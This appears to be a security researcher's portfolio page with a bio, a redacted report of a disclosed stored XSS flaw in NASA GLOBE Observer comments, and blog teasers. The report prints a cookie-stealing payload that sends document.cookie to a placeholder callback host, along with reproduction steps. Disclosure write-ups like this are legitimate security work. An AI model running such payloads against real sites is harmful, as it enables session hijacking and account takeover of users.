I find what shouldn't
be there.
A hunter's approach to offensive security — built after hours, proven in production.
I'm a Security researcher with 5+ years of hands-on web application testing and 100+ validated vulnerabilities across Fortune 500 companies, U.S. government systems, and major consumer platforms.
My core discipline is web and API offensive security: IDOR exploitation, authentication bypass, stored XSS with session exfiltration, CORS misconfiguration, SSRF escalation, JavaScript source analysis, and chained-impact reporting. I don't stop at the first PoC — I push until the real impact is on the page.
Alongside full-time work, I operate GK Data LLC, a cybersecurity consultancy delivering penetration tests and vulnerability assessments. I ship open-source tooling for the bug bounty community, write methodology breakdowns, and maintain active engagements on private Bugcrowd programs targeting critical infrastructure and consumer-scale platforms.
Currently open to security research, application security, and offensive security engineering roles — remote or on-site — in environments where security is taken seriously and research is encouraged.
Organizations that have acknowledged my vulnerability research through public hall-of-fame listings, letters of appreciation, or private program recognition.
Redacted summaries of disclosed and remediated research. Target names withheld where required by program disclosure policy.
Stored XSS in Comment Field of Observation – Leads to Cookie Theft and JS Execution
NASA GLOBE Observer Mobile App / Web - Stored XSS Vulnerability
Affected Endpoint
https://www.globe.gov/web/
Affected Feature
Observation Comments (Publicly Shared)Summary
A stored XSS vulnerability was discovered in the comment field of shared observations within the NASA GLOBE Observer mobile app. By injecting malicious HTML/JS code in the comment, I was able to execute JavaScript in the browser context of any user viewing the observation. The payload was executed automatically upon page load and was reflected on public/shared observation pages. This allows full session hijacking and account compromise, especially due to the ability to exfiltrate session cookies to an external server.Steps to Reproduce
- Install the NASA GLOBE Observer mobile app.
- Create or select any observation. I chose tree measurement and just took random photos on the observer app for latest iOS—this renders on the web version of viewing observations globally.
- In the "comment" field, input the following payload:
<img src=x onerror="new Image().src='https://CALLBACKURLHERE?cb='+encodeURIComponent(document.cookie)"> - Submit the observation.
- Visit the observation's public/shareable URL (e.g.,
https://www.globe.gov/web/lightrip/...) from any other account or incognito session. - Upon loading the page, the script:
- Executes automatically
- Sends the user's cookies to the attacker's server
- Demonstrates persistent stored XSS shared across all users
Impact
- Stored XSS across all users
- Full session hijacking via stolen cookies
- Arbitrary JS execution in NASA user sessions
- Persistent across shared/public observation URLs
- Could be chained for full account takeover or privilege escalation
Suggested Fix
- Sanitize all input in comment fields to disallow any HTML tags or JavaScript
- Encode all user-generated content before rendering
- Use a JavaScript sanitization library like DOMPurify on the client-side, and enforce HTML escaping on the server-side
- Apply CSP headers to mitigate risk of inline script execution
- Add unlimited custom headers
- One-click enable/disable toggle
- Quick presets (X-Bug-Bounty, X-HackerOne, X-Bugcrowd)
The Scam Call Sounded Exactly Like Your Boss. It Wasn’t.
A few years ago, spotting a scam was straightforward. Broken English, urgent wire transfer requests, a sender address that was clearly off. Most people learned to recognize the…
Your Website Is Live. But Is It Safe?
Most business owners assume their website is secure because it’s working. Pages load, forms submit, payments process — everything looks fine. But “looking fine” and “being secure” are…
Blind Stored XSS to Session Hijack: How I Earned My First P1
There’s a reason blind stored XSS is underrated in the bug bounty community — it requires patience, and patience doesn’t trend on social media. But if you’re willing…
AI Reports Are Ruining Bug Bounty – Here’s How to Use It Without Being Part of the Problem
Triage teams are not drowning in vulnerability reports. They are drowning in unverified claims dressed up in polished language. AI did not create that problem, but it has…
Have a target
that needs a closer look?
Available for full-time security research, application security, and offensive security engineering roles — as well as contract consulting engagements through GK Data LLC.
$ [email protected] →